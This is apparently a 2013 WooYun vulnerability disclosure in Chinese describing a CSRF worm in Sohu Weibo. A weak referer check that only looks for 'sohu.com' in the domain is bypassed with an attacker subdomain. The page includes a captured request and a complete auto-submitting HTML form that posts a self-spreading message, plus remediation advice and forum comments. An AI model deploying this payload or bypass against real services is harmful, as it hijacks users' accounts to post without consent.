当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017468

漏洞标题:搜狐微博防御体系存在缺陷导致蠕虫爆发

相关厂商:搜狐

漏洞作者: 风萧萧

提交时间:2013-01-18 10:38

修复时间:2013-03-04 10:39

公开时间:2013-03-04 10:39

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-18: 细节已通知厂商并且等待厂商处理中
2013-01-18: 厂商已经确认,细节仅向厂商公开
2013-01-28: 细节向核心白帽子及相关领域专家公开
2013-02-07: 细节向普通白帽子公开
2013-02-17: 细节向实习白帽子公开
2013-03-04: 细节向公众公开

简要描述:

国家终于有任务交给你了

详细说明:

1.存在蠕虫肯定是发布微博的地方出了问题,看这个分享到搜狐微博的接口:

1.jpg


2.点击【分享】,抓包看请求:

POST http://t.sohu.com/third/insertTwitter HTTP/1.1
Host: t.sohu.com
Proxy-Connection: keep-alive
Content-Length: 360
Origin: http://t.sohu.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.2 Safari/537.13
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://t.sohu.com/third/post.jsp?link=http%3A%2F%2Fyule.sohu.com%2F20130117%2Fn363726424.shtml&title=%E4%B8%93%E8%AE%BF%E5%91%A8%E6%98%9F%E9%A9%B0%EF%BC%9A%E5%A6%82%E6%9E%9C%E8%A7%82%E4%BC%97%E6%8E%A5%E5%8F%97%20%E6%88%91%E5%B0%B1%E7%BB%A7%E7%BB%AD%E5%90%83%E8%80%81%E6%9C%AC-%E6%90%9C%E7%8B%90%E5%A8%B1%E4%B9%90
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: 略
act=insertOrigin&msg=%u56FD%u5BB6%u6709%u4EFB%u52A1%u7ED9%u4F60%u4E86%uFF01&type=2115&url=http%3A%2F%2Ft.itc.cn%2FnWfah&app_key=cmsnew&title=%D7%A8%B7%C3%D6%DC%D0%C7%B3%DB%A3%BA%C8%E7%B9%FB%B9%DB%D6%DA%BD%D3%CA%DC+%CE%D2%BE%CD%BC%CC%D0%F8%B3%D4%C0%CF%B1%BE-%CB%D1%BA%FC%D3%E9%C0%D6&media=%CB%D1%BA%FC%D3%E9%C0%D6&mediaurl=http%3A%2F%2Fyule.sohu.com%2F&summary=


3.上述请求POST参数的具体含义看参数名就知道了,这里简单说下msg参数是转发微博时自己留言的内容,url参数是指转发的微博来自的具体链接,titile参数是转发来的微博的标题,media参数是指微博来自什么媒体,mediaurl当然指的是媒体的链接咯!
4.这里实际上是做referer判断的,即referer必须为sohu.com或者空,其他域不行。这意味着我是不是只能本地单机玩了啊!哈哈,经过简单的测试,发现验证referer的正则表达式写的有问题!只是判断了域名是否包含有sohu.com,而不是验证根域名为sohu.com。那么我这里可以构造子域名t.sohu.com.test.av作为蠕虫传播的载体服务器,即可绕过。

漏洞证明:

5.于是乎,我构造了下面这个POC链接:

http://t.sohu.com.xssed.me/csrf/sohu.html


将POC代码一并贴在这里:

<html>
<head>
</head>
<body>
<form id="fxx" name="fxx" action="http://t.sohu.com/third/insertTwitter" method="POST">
<input type="text" name="act" value="insertOrigin" />
<input type="text" name="msg" id="msg" value="follow me" />
<input type="text" name="type" value="2115" />
<input type="text" name="url" value="http://t.sohu.com.xssed.me/csrf/sohu.html" />
<input type="text" name="app_key" value="cmsnew" />
<input type="text" name="title" value="专访周星驰:如果观众接受 我就继续吃老本-搜狐娱乐" />
<input type="text" name="media" value="xssed.me" />
<input type="text" name="mediaurl" value="http://t.sohu.com.xssed.me/csrf/sohu.html" />
<input type="text" name="summary" value="" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>


6.Chrome登录风萧萧吸的微博账号发布微博如下:

5.jpg


7.Firefox登录另一个网易微博账号,找到风萧萧吸:

6.jpg


8.点击【专访周星驰】处,返回如下:

7.jpg


9.同时,自己也转发了相关蠕虫微博:

9.jpg

修复方案:

1.既然referer域名可以改成t.163.com.test.av是可以的,那么改成test.av/csrf.php?163.com呢,是不是可以呢?这个以后大家当做小的细节来考虑吧!
2.在防御方面,强烈建议:
关键请求还是改成post比较好!
关键请求还是加token比较好!
3.另外,不管怎样我还是来求个礼物吧!

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-01-18 14:23

厂商回复:

感谢对搜狐安全的关注

最新状态:

暂无


漏洞评价:

评论

  1. 2013-01-18 10:47 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    霸气!沙发~

  2. 2013-01-18 10:54 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    如何,我说了下一个是搜狐微博,预言成功!膜拜风神!

  3. 2013-01-18 10:54 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    @风萧萧 吸 @易水寒

  4. 2013-01-18 10:58 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    爱温暖了整个冬天,就像光芒照耀了大地,幸福了墙角的小草。

  5. 2013-01-18 11:07 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    洞主答应给我刷的微博呢、、、

  6. 2013-01-18 11:25 | 易水寒 ( 实习白帽子 | Rank:67 漏洞数:6 )

    @瘦蛟舞 吸多了我受不了

  7. 2013-01-18 11:47 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @小胖子 还有下一个么?

  8. 2013-01-18 11:48 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @zzR 缘深缘浅,路长路短,看见就好。

  9. 2013-01-18 11:48 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @px1624 说好搞的war3呢

  10. 2013-01-18 11:49 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @易水寒 基友,他们说的是事实啊!不是么

  11. 2013-01-18 11:52 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @搜狐 sorry,修复方案里的第一条乌龙了!

  12. 2013-01-18 11:59 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @风萧萧 说好的私心发qq呢?

  13. 2013-01-18 15:05 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @风萧萧 还是上次那个问题么